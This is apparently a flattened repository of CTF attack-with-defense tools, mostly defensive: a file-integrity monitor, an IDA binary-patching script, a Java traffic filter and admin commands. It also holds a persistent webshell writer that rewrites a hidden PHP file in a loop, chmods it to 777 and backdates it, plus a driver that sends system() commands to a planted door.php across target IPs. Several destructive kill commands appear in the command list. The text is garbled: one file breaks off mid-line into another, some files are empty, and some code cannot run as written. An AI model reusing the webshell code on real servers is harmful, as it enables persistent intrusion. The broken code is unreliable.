├── Attack ├── door.php └── door.py ├── README.md ├── Defense ├── jar patch.md ├── javaweb流量监控 │ ├── client.py │ ├── FilterConfig.java │ └── RequestForwardFilter.java ├── log.php └── pwn_patch.py ├── commoncmd.txt ├── file_monitor └── checkfile.py └── LICENSE /Attack/door.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # AWD-tools 2 | ctf awd 工具脚本 3 | 4 | ## File_monitor 5 | 6 | ### checkfile.py 7 | 8 | > usage: 9 | > python checkfile.py -w /var/www/html/ -b /tmp/backup/ 10 | 11 | ## Defense 12 | 13 | ### pwn_patch.py 14 | > 提高栈帧 15 | > patch free 16 | 17 | ## common cmd 18 | > 常用命令 -------------------------------------------------------------------------------- /Defense/jar patch.md: -------------------------------------------------------------------------------- 1 | # jar patch 方法 2 | 3 | 4 | 5 | 1. 在idea中新建一个projec 6 | 7 | 2. 在src 中新建一个class,名字为想要修改的class的package.controller 8 | 9 | 3. 将反编译的除了package 的内容粘到新的class中 10 | 11 | 4. 在project structure中加原始的jar和jar中的lib目录加入到library中 12 | 13 | 5. 点击build project构建出新的class 14 | 15 | 6. 如果构建出的结构目录和原始的不一致,需要在out下构建一个一致的目录,然后将刚编译出的class放到正确的位置 16 | 17 | 7. 使用命令替换掉原来jar中的class 18 | 19 | ``` 20 | cd /xxx/xxx/out 21 | jar uvf /xxx/xxxx/xx.jar ./BOOT-INF/XXX/XXXX/XXX.class 22 | ``` 23 | 24 | 8. 打开压缩包反编译查看是否更新成功,或者直接运行查看是否生效 25 | 26 | ``` 27 | java -jar /xxx/xxxx/xx.jar 28 | ``` 29 | 30 | -------------------------------------------------------------------------------- /Defense/javaweb流量监控/client.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, request 2 | 3 | app = Flask(__name__) 4 | 5 | @app.route('/', methods=['GET', 'POST', 'PUT', 'DELETE']) 6 | def handle_request(path): 7 | method = request.method 8 | 9 | headers = request.headers 10 | 11 | body = request.get_data(as_text=True) 12 | 13 | print(f"Method: {method}") 14 | print(f"Path: /{path}") 15 | print("Headers:") 16 | # print(headers) 17 | for header, value in headers.items(): 18 | print(f"{header}: {value}") 19 | print(f"Body: {body}") 20 | print("***********************") 21 | return "OK" 22 | 23 | if __name__ == '__main__': 24 | app.run(port=3307) -------------------------------------------------------------------------------- /Defense/log.php: -------------------------------------------------------------------------------- 1 | 18 | -------------------------------------------------------------------------------- /Defense/javaweb流量监控/FilterConfig.java: -------------------------------------------------------------------------------- 1 | package com.example.demo.MyFilter; 2 | 3 | import org.springframework.boot.web.servlet.FilterRegistrationBean; 4 | import org.springframework.context.annotation.Bean; 5 | import org.springframework.context.annotation.Configuration; 6 | 7 | @Configuration 8 | public class FilterConfig { 9 | 10 | @Bean 11 | public FilterRegistrationBean requestForwardFilterRegistration() { 12 | FilterRegistrationBean registration = new FilterRegistrationBean<>(); 13 | registration.setFilter(new RequestForwardFilter()); 14 | registration.addUrlPatterns("/*"); 15 | registration.setName("requestForwardFilter"); 16 | registration.setOrder(1); 17 | return registration; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /commoncmd.txt: -------------------------------------------------------------------------------- 1 | passwd 2 | tar -zcvf web.tar.gz /var/www/html/ 3 | scp 文件路径 用户名@IP:存放路径 4 | #查看已建立的网络连接及进程 5 | netstat -antulp | grep EST 6 | #查看指定端口被哪个进程占用 7 | lsof -i:端口号 或者 netstat -tunlp|grep 端口号 8 | #备份mysql数据库 9 | mysqldump -u 用户名 -p 密码 数据库名 > back.sql     10 | mysqldump --all-databases > bak.sql       11 | #还原mysql数据库 12 | mysql -u 用户名 -p 密码 数据库名 < bak.sql   13 | mysql -u 用户名 -p 密码 14 | sourced:\sqlfile.sql; 15 | crontab -l 16 | 17 | #查看页面访问排名前十的IP 18 | cat /var/log/apache2/access.log | cut -f1 -d | sort | uniq -c | sort -k -r | head -   19 | #查看页面访问排名前十的URL 20 | cat /var/log/apache2/access.log | cut -f4 -d | sort | uniq -c | sort -k -r | head -   21 | 22 | #杀马 23 | ps aux | grep www-data | awk '{print $2}' | xargs kill -9 24 | ps aux | grep www-data | grep -v grep | awk '{print $2}' | xargs kill -9 25 | 26 | kill -9 -1 27 | 28 | #重启服务 29 | service php-fpm restart 30 | 31 | #批量上waf 32 | sudo find /var/www/html/ -type f -path "*.php" | xargs sed -i "s/'''; 62 | # while(true){ 63 | # file_put_contents($file, $shell); 64 | # system('chmod 777 .demo.php'); 65 | # touch(".demo.php", mktime(11,11,11,11,11,2018)); 66 | # usleep(50); 67 | # } 68 | # ?> 69 | 70 | 71 | def updie(url): 72 | data = {'pass': 'lxf', 73 | 'cmd': "system('echo /var/www/html/flag.txt');"} 74 | 75 | # sending post request and saving response as response object 76 | r = requests.post(url=url, data=data) 77 | 78 | # extracting response text 79 | print("The text is:%s" % r.text) 80 | print(re.search('.*(flag{.*}).*', r.text).group(1)) 81 | return re.search('.*(flag{.*}).*', r.text).group(1) 82 | 83 | 84 | def main(): 85 | ip_part = "http://127.0.0." 86 | port = "80" 87 | shell_addr = "door.php" 88 | while True: 89 | for x in range(1,2): 90 | ip = ip_part+str(x) 91 | url = ip+":"+port+"/"+shell_addr 92 | print(url) 93 | flag = post(url) 94 | submit(flag) 95 | time.sleep(1) 96 | 97 | if __name__ == '__main__': 98 | main() 99 | -------------------------------------------------------------------------------- /file_monitor/checkfile.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import os 5 | import shutil 6 | import hashlib 7 | import time 8 | import argparse 9 | 10 | def read_chunks(fp, num): 11 | fp.seek(0) 12 | chunk = fp.read(num) 13 | while chunk: 14 | yield chunk 15 | chunk = fp.read(num) 16 | else: 17 | fp.seek(0) 18 | 19 | def md5sum(filename): 20 | m = hashlib.md5() 21 | if isinstance(filename, basestring) \ 22 | and os.path.exists(filename): 23 | with open(filename, 'rb') as f: 24 | for chunk in read_chunks(f, 2048): 25 | m.update(chunk) 26 | else: 27 | return "nothing" 28 | return m.hexdigest() 29 | 30 | def create_md5list(path): 31 | with open('md5list.txt', 'w') as fp: 32 | for dirpath, dirname, filenames in os.walk(path): 33 | for filename in filenames: 34 | filepath = os.path.join(dirpath, filename) 35 | content = filepath + ':' + md5sum(filepath) 36 | fp.write(content) 37 | fp.write('\n') 38 | 39 | def check_file(check_path,backup_path): 40 | with open('md5list.txt') as fp: 41 | md5list = fp.read() 42 | now_files = [] 43 | for dirpath, dirname, filenames in os.walk(check_path): 44 | for filename in filenames: 45 | filepath = os.path.join(dirpath, filename) 46 | if filepath not in md5list: 47 | os.remove(filepath) 48 | print '[-] Notice! delete file: %s' % filepath 49 | elif md5sum(filepath) not in md5list: 50 | restore(filepath,check_path,backup_path) 51 | print '[-] Notice! restore file: %s' % filepath 52 | else: 53 | now_files.append(filename) 54 | 55 | for dirpath, dirname, filenames in os.walk(backup_path): 56 | for filename in filenames: 57 | if filename not in now_files: 58 | filepath = os.path.join(dirpath, filename) 59 | backdelfile(filename,dirpath,check_path,backup_path) 60 | 61 | def backdelfile(filename,dirpath,check_path,backup_path): 62 | backup_to_path = dirpath.replace(backup_path,check_path) 63 | if not os.path.exists(backup_to_path): 64 | os.makedirs(backup_to_path) 65 | pathfile = os.path.join(dirpath, filename) 66 | backup_to_path_file = os.path.join(backup_to_path,filename) 67 | shutil.copy(pathfile, backup_to_path_file) 68 | print '[-] Notice! back del file: %s' % pathfile 69 | 70 | def restore(pathfile,check_path,backup_path): 71 | if os.path.exists(pathfile): 72 | os.remove(pathfile) 73 | backup_path_file = pathfile.replace(check_path, backup_path) 74 | shutil.copy(backup_path_file, pathfile) 75 | print '[-] Notice! restore file: %s' % pathfile 76 | 77 | def work(check_path,backup_path): 78 | if os.path.exists(backup_path): 79 | shutil.rmtree(backup_path) 80 | shutil.copytree(check_path, backup_path) 81 | print '[+] backup complete...' 82 | create_md5list(check_path) 83 | print '[+] create md5list complete...' 84 | while True: 85 | check_file(check_path,backup_path) 86 | time.sleep(1) 87 | 88 | if __name__ == "__main__": 89 | parser = argparse.ArgumentParser( 90 | usage="%(prog)s -w [path] -b [path]", 91 | description=(''' 92 | Introduce:Simple File Monitor! by Edward_L''') 93 | ) 94 | parser.add_argument('-w', '--watch', action="store", dest="check_path", 95 | default="/var/www/html/", help="directory to watch,default is /var/www/html/") 96 | parser.add_argument('-b', '--backup', action="store", dest="backup_path", 97 | default="/tmp/backup/", help="directory to backup,default is /tmp/backup/") 98 | args = parser.parse_args() 99 | print args.check_path, args.backup_path 100 | exit() 101 | work(check_path,backup_path) 102 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /Defense/pwn_patch.py: -------------------------------------------------------------------------------- 1 | #-*- coding:utf-8 -*- 2 | from __future__ import print_function 3 | 4 | import sys, re 5 | #sys.path.append('C:\\Program Files\\IDA 7.0\\python') 6 | 7 | import idc 8 | import idaapi 9 | import idautils 10 | 11 | 12 | # 13 | is_bit64 = idaapi.get_inf_structure().is_64bit() 14 | if is_bit64: 15 | bits = 64 16 | else: 17 | bits = 32 18 | 19 | print('the bits is [%d]' %bits) 20 | 21 | #if bits==32: 22 | #import wingdbstub 23 | #wingdbstub.Ensure() 24 | 25 | 26 | # 27 | def load_plugin_decompiler(is_bit64): 28 | # load decompiler plugins (32 and 64 bits, just let it fail) 29 | if is_bit64: 30 | # 64bit plugins 31 | idc.RunPlugin("hexx64", 0) 32 | else: 33 | # 32bit plugins 34 | idc.RunPlugin("hexrays", 0) 35 | idc.RunPlugin("hexarm", 0) 36 | 37 | return 38 | 39 | # 40 | def search_printf_instr(ea): 41 | func = idaapi.get_func(ea) 42 | name = idc.GetFunctionName(ea) 43 | 44 | end = func.endEA 45 | start = func.startEA 46 | 47 | printf_addr = [] 48 | 49 | x = start 50 | while x < end: 51 | asm = idc.GetDisasm(x) 52 | y = x + idc.ItemSize(x) 53 | 54 | if asm.startswith('call _printf'): 55 | #print('%s(): %s => %s' %(name, hex(x), asm)) 56 | printf_addr.append(x) 57 | 58 | x = y 59 | 60 | return printf_addr 61 | 62 | 63 | # 64 | def search_free_instr(ea): 65 | func = idaapi.get_func(ea) 66 | name = idc.GetFunctionName(ea) 67 | 68 | end = func.endEA 69 | start = func.startEA 70 | 71 | free_addr = [] 72 | 73 | x = start 74 | while x < end: 75 | asm = idc.GetDisasm(x) 76 | y = x + idc.ItemSize(x) 77 | 78 | if asm=='call _free': 79 | #print('%s(): %s => %s' %(name, hex(x), asm)) 80 | free_addr.append(x) 81 | 82 | x = y 83 | 84 | return free_addr 85 | 86 | 87 | # 88 | def search_sub_esp_instr(ea): 89 | func = idaapi.get_func(ea) 90 | 91 | name = idc.GetFunctionName(ea) 92 | 93 | end = func.endEA 94 | start = func.startEA 95 | 96 | #print('%s - %s: %s()' %(hex(start), hex(end), name)) 97 | 98 | #patten = '81 EC' 99 | #addr = idc.FindBinary(x, SEARCH_DOWN | SEARCH_NEXT, patten) 100 | 101 | bfind_sub_esp = False 102 | sub_esp_addr = None 103 | add_esp_addr = None 104 | 105 | x = start 106 | while x < end: 107 | asm = idc.GetDisasm(x) 108 | y = x + idc.ItemSize(x) 109 | 110 | if bfind_sub_esp==False: 111 | if asm.startswith('sub esp,') or asm.startswith('sub rsp,'): 112 | #print('%s(): %s => %s' %(name, hex(x), asm)) 113 | 114 | #sub esp, 540h 115 | t = idc.GetOpType(x, 1) 116 | if t != idc.o_imm: 117 | continue 118 | 119 | bfind_sub_esp = True 120 | sub_esp_addr = x 121 | add_esp_asm = asm.replace('sub', 'add') 122 | else: 123 | #搜索后续指令应该有leave指令 或 #add esp, 540h 124 | if asm.startswith(add_esp_asm): 125 | add_esp_addr = x 126 | x = y 127 | break 128 | elif asm=='leave': 129 | break 130 | 131 | x = y 132 | 133 | 134 | if add_esp_addr is not None: 135 | #搜索后续指令不再对esp操作 136 | while x < end: 137 | asm = idc.GetDisasm(x) 138 | y = x + idc.ItemSize(x) 139 | 140 | if re.search('esp', asm): 141 | print('why to here') 142 | pass 143 | 144 | x = y 145 | 146 | return [sub_esp_addr, add_esp_addr] 147 | 148 | def patch_32_sub_esp(addr, add_addr, sub_value): 149 | patch_32_esp(addr, sub_value, 1) 150 | 151 | if add_addr is not None: 152 | patch_32_esp(add_addr, sub_value, 0) 153 | print('') 154 | 155 | return 156 | 157 | def patch_32_esp(addr, sub_value, is_sub_esp): 158 | count = idc.ItemSize(addr) 159 | 160 | #get value 161 | v = idc.GetOperandValue(addr, 1) 162 | #print(hex(v)) 163 | 164 | if v==-1: 165 | print('get value error') 166 | return 167 | 168 | if count==3: 169 | #.text:0804867C 83 EC 18 sub esp, 18h 170 | off = 0xff - v 171 | if sub_value < off: 172 | idc.PatchByte(addr + 2, v + sub_value) 173 | else: 174 | idc.PatchByte(addr + 2, 0xff) 175 | 176 | idc.MakeCode(addr) 177 | else: 178 | #.text:0804875B 81 EC 30 02 00 00 sub esp, 230h 179 | idc.PatchDword(addr + 2, v + sub_value) 180 | idc.MakeCode(addr) 181 | 182 | if is_sub_esp != 0: 183 | print('patch [sub esp, %s] ok, addr: %s' %(hex(v), hex(addr))) 184 | else: 185 | print('patch [add esp, %s] ok, addr: %s' %(hex(v), hex(addr))) 186 | 187 | return 188 | 189 | 190 | def patch_64_sub_rsp(addr, add_addr, sub_value): 191 | patch_64_rsp(addr, sub_value, 1) 192 | 193 | if add_addr is not None: 194 | patch_64_rsp(add_addr, sub_value, 0) 195 | print('') 196 | 197 | return 198 | 199 | def patch_64_rsp(addr, sub_value, is_sub_rsp): 200 | count = idc.ItemSize(addr) 201 | 202 | #get value 203 | v = idc.GetOperandValue(addr, 1) 204 | #print(hex(v)) 205 | 206 | if v==-1: 207 | print('get value error') 208 | return 209 | 210 | if count==4: 211 | #.text:000055BBF4127FD9 48 83 EC 10 sub rsp, 10h 212 | off = 0xff - v 213 | 214 | if sub_value < off: 215 | idc.PatchByte(addr + 3, v + sub_value) 216 | else: 217 | idc.PatchByte(addr + 3, 0xff) 218 | 219 | idc.MakeCode(addr) 220 | else: 221 | #.text:00007EFEA44A5310 48 81 EC 20 01 00 00 sub rsp, 120h 222 | idc.PatchDword(addr + 3, v + sub_value) 223 | idc.MakeCode(addr) 224 | 225 | if is_sub_rsp != 0: 226 | print('patch [sub rsp, %s] ok, addr: %s' %(hex(v), hex(addr))) 227 | else: 228 | print('patch [add rsp, %s] ok, addr: %s' %(hex(v), hex(addr))) 229 | 230 | return 231 | 232 | 233 | 234 | # 235 | def patch_call_free(addr): 236 | count = idc.ItemSize(addr) 237 | 238 | #.text:000011E1 E8 5A FE FF FF call _free 239 | #.text:000055BBF4127EFF E8 5C F9 FF FF call _free 240 | for i in range(count): 241 | idc.PatchByte(addr + i, 0x90) #patch to NOP instr 242 | 243 | idc.MakeCode(addr) 244 | 245 | print('patch [call _free] ok, addr: %s' %hex(addr)) 246 | 247 | return 248 | 249 | 250 | 251 | # 252 | def get_function_para(func_name): 253 | func_args = [] 254 | code_buf = [] 255 | 256 | ea = idc.LocByName(func_name) 257 | if ea != idc.BADADDR: 258 | f = idaapi.get_func(ea) 259 | if f is not None: 260 | try: 261 | cfunc = idaapi.decompile(f); 262 | if cfunc != None: 263 | # 264 | sv = cfunc.get_pseudocode(); 265 | for sline in sv: 266 | code_line = idaapi.tag_remove(sline.line) 267 | code_buf.append(code_line) 268 | 269 | #print('find: %s(' %func_name, end='') 270 | for arg in cfunc.arguments: 271 | func_args.append(arg.name) 272 | #print(arg.name+', ', end='') 273 | #print(')') 274 | except Exception as e: 275 | print(e) 276 | 277 | #code_str = '\n'.join(code_buf) 278 | return func_args, code_buf 279 | 280 | 281 | #遍历反编译语法树 282 | def search_ast_item(cfunc, addr): 283 | try: 284 | sv = cfunc.get_pseudocode(); 285 | except Exception as e: 286 | print(e) 287 | 288 | #变量列表 289 | lvars = cfunc.get_lvars() 290 | func_vars = [] 291 | for var in lvars: 292 | func_vars.append(var.name) 293 | 294 | for citem in cfunc.treeitems: 295 | citem = citem.to_specific_type 296 | #print(type(citem), citem.opname) 297 | 298 | if citem.op==idaapi.cit_expr: 299 | expr = citem.cexpr 300 | opname = expr.opname 301 | 302 | if expr.op == idaapi.cot_call: 303 | if expr.x.obj_ea==idc.BADADDR: 304 | #inline方式的函数 305 | continue 306 | 307 | # look for calls to function 308 | func_name = idc.GetFunctionName(expr.x.obj_ea) 309 | #print('%s: ' %func_name) 310 | 311 | if func_name in printf_name_dict: 312 | #参数个数 313 | vars_count = expr.a.size() 314 | if vars_count==1: 315 | args = expr.a 316 | 317 | for arg in args: 318 | if arg.op==idaapi.cot_var: 319 | #'{v}' 320 | var_name = func_vars[arg.v.idx] 321 | #print('%s: printf(%s)' %(hex(addr), var_name)) 322 | 323 | #patch to call puts() 324 | patch_to_call_puts(addr) 325 | elif arg.op==idaapi.cot_obj: 326 | var_ptr = arg.obj_ea 327 | 328 | #引用变量 329 | try: 330 | var_name = idc.GetString(var_ptr) 331 | except: 332 | pass 333 | 334 | if var_name is None: 335 | names = dict(idautils.Names()) 336 | var_name = names.get(var_ptr) 337 | 338 | if var_name is None: 339 | var_name = 'g_var_%x' %var_ptr 340 | idaapi.set_name(var_ptr, var_name) 341 | 342 | #print('%s: printf(%s)' %(hex(addr), var_name)) 343 | 344 | #patch to call puts() 345 | #patch_to_call_puts(addr) 346 | else: 347 | print('does not handle [%s] opname' %arg.opname) 348 | pass 349 | return 350 | 351 | 352 | puts_name_dict = ['puts', '.puts'] 353 | printf_name_dict = ['printf', '.printf'] 354 | 355 | # 356 | def patch_to_call_puts(addr): 357 | #.text:0000114D E8 DE FE FF FF call _printf 358 | count = idc.ItemSize(addr) 359 | 360 | #get value 361 | v = idc.GetOperandValue(addr, 0) 362 | 363 | #要CALL的地址 - 下一条指令地址 = E8 后面的硬编码 364 | 365 | plt_names = idautils.Names() 366 | for address, name in plt_names: 367 | if name=='.puts': 368 | puts_addr = address 369 | elif name=='.printf': 370 | printf_addr = address 371 | 372 | op = puts_addr - (addr + count) 373 | op = op & 0xffffffff 374 | 375 | #print('op: %s' %hex(op)) 376 | 377 | idc.PatchDword(addr + 1, op) 378 | idc.MakeCode(addr) 379 | 380 | print('patch [call _printf] ok, addr: %s' %hex(addr)) 381 | 382 | return 383 | 384 | 385 | # 386 | def patch_call_printf(addr): 387 | #name = idc.GetFunctionName(addr) 388 | #get_function_para(name) 389 | 390 | f = idaapi.get_func(addr) 391 | try: 392 | cfunc = idaapi.decompile(f); 393 | if cfunc != None: 394 | search_ast_item(cfunc, addr) 395 | except Exception as e: 396 | print(e) 397 | 398 | return 399 | 400 | 401 | # 402 | def get_strings(): 403 | for strinfo in idautils.Strings(): 404 | strcont = GetString(strinfo.ea, strinfo.length, strinfo.strtype) 405 | straddr = hex(strinfo.ea) 406 | straddr = straddr[:-1] 407 | 408 | print('%s:\t%s' %(straddr, strcont)) 409 | 410 | 411 | #sc = idaapi.string_info_t() 412 | #count = idaapi.get_strlist_qty() 413 | #for i in range(count): 414 | #idaapi.get_strlist_item(i,sc) 415 | #print(idaapi.get_ascii_contents(sc.ea,sc.length,sc.type)) 416 | 417 | return 418 | 419 | 420 | # 421 | def find_import_functions(): 422 | def imports_names_cb(ea, name, ord): 423 | if name is not None: 424 | import_function_list.append([ea, name, ord]) 425 | 426 | # True -> Continue enumeration 427 | # False -> Stop enumeration 428 | return True 429 | 430 | import_function_list = [] 431 | 432 | nimps = idaapi.get_import_module_qty() 433 | for i in xrange(nimps): 434 | name = idaapi.get_import_module_name(i) 435 | idaapi.enum_import_names(i, imports_names_cb) 436 | 437 | return import_function_list 438 | 439 | 440 | # 441 | def patch_vul_func(sub_value): 442 | bfind_puts = False 443 | addr = idc.LocByName('puts') 444 | if addr == idc.BADADDR: 445 | addr = idc.LocByName('.puts') 446 | 447 | if addr != idc.BADADDR: 448 | bfind_puts = True 449 | 450 | func_list = idautils.Functions() 451 | 452 | for func in func_list: 453 | name = idc.GetFunctionName(func) 454 | if name.startswith('.') or name.startswith('__'): 455 | pass 456 | else: 457 | #patch stack vul 458 | sub_addr, add_addr = search_sub_esp_instr(func) 459 | if sub_addr is not None: 460 | if bits==32: 461 | patch_32_sub_esp(sub_addr, add_addr, sub_value) 462 | else: 463 | patch_64_sub_rsp(sub_addr, add_addr, sub_value) 464 | 465 | #patch heap vul 466 | free_addr = search_free_instr(func) 467 | if free_addr != []: 468 | for addr in free_addr: 469 | patch_call_free(addr) 470 | 471 | 472 | #patch format vul 473 | if bfind_puts==True: 474 | printf_addr = search_printf_instr(func) 475 | if printf_addr != []: 476 | for addr in printf_addr: 477 | patch_call_printf(addr) 478 | 479 | return 480 | 481 | 482 | 483 | if __name__=='__main__': 484 | #清空输出窗口 485 | form = idaapi.find_tform("Output window") 486 | idaapi.switchto_tform(form, True) 487 | idaapi.process_ui_action("msglist:Clear") 488 | 489 | #save to file 490 | path = os.path.abspath(__file__) 491 | path = os.path.realpath(__file__) 492 | path = os.path.dirname(path) 493 | 494 | # 495 | target_path = idc.GetInputFilePath() 496 | target_file = idc.GetInputFile() 497 | 498 | if idaapi.init_hexrays_plugin(): 499 | #print("Hex-rays version %s has been detected" % idaapi.get_hexrays_version()) 500 | pass 501 | else: 502 | load_plugin_decompiler(is_bit64) 503 | 504 | # 505 | #get_strings() 506 | sub_value = idaapi.ask_long(0x20, 'please input stack additional value') 507 | if sub_value is not None: 508 | #0x20 为在原来基础上再增加的空间大小 509 | patch_vul_func(sub_value) 510 | else: 511 | print('you select Cancel operate') 512 | --------------------------------------------------------------------------------